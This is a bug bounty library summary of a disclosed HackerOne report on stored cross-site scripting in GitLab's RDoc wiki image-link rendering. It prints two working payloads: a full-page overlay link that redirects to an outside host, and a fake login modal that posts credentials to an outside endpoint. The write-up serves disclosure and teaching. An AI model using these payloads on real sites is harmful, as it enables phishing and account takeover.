# Cross-site Scripting (XSS) - Stored in RDoc wiki pages

RDoc wiki image-link syntax allowed unsanitized anchor attributes, letting attackers inject full-page overlay links and fake login modals on gitlab.com.

- Payout: $3,500
- Severity: high
- Program: GitLab
- Found by: vakzz
- Disclosed: 2019-12-16
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/662287
- Library page: https://bugbountylibrary.com/r/h1%3A662287
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:ruby technique:source-review vuln:clickjacking vuln:open-redirect vuln:xss

**Target:** GitLab RDoc wiki page renderer (image link syntax)
**Root cause:** The RDoc image-link `{<img>}[link]` renderer passed through arbitrary HTML/attributes on the generated anchor tag without sanitizing class, target, or embedded markup.
**Steps:**
1. Create a wiki in a GitLab project.
2. Add an RDoc page containing `{<a href='https://aw.rs/users/signin' class='atwho-view select2-drop-mask pika-select'><img height=10000 width=10000></a>}[a]`.
3. Save and view the page; the anchor renders with attacker-controlled class and covers the full page.
4. Alternatively inject a `<div class="modal show d-block">` fake login form inside the image-link block to phish credentials.
**How found:** Researcher noticed RDoc image-link syntax `{<img>}[link]` accepted raw HTML in the link portion and tested whether anchor attributes like class and target survived sanitization, then reused GitLab's own CSS classes to weaponize the overlay.
**Exploitation:** Attacker publishes a wiki page whose rendered anchor uses GitLab's own CSS classes (position absolute, high z-index) to overlay the entire viewport, so any click redirects to the attacker's site; or embeds a modal-styled fake login form that posts credentials to an attacker endpoint. target=_blank without rel=noopener enables reverse tabnabbing.
**Escalation:** Chaining with reverse tabnabbing via target=_blank to hijack the opener tab after redirect.
**Insight:** Markdown/RDoc image-link constructs often sanitize the image but pass the link target HTML through; test whether anchor attributes (class, target, style) survive and whether existing app CSS classes can be abused to build full-page overlays or fake modals.

## Proof of concept (copied exactly from the original report)

**RDoc image link with unsanitized class attribute**

```
{
<a href='https://aw.rs/users/signin' class='atwho-view select2-drop-mask pika-select'>
<img height=10000 width=10000></a>
}[a]
```

**RDoc modal fake login form payload**

```
a form
{
<div class="modal show d-block">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h3 class="page-title">Please Log In</h3>
</div>
<div class="modal-body">
<form class="new-wiki-page" action="http://aw.rs/">
<div class="form-group">
<label for="username"><span>Username</span></label>
<input type="text" name="username" id="username" class="form-control">
<label for="password"><span>Password</span></label>
<input type="password" name="password" id="password" class="form-control">
</div>
<div class="form-actions"><button name="button" type="submit" class="btn btn-success">Login</button></div>
```

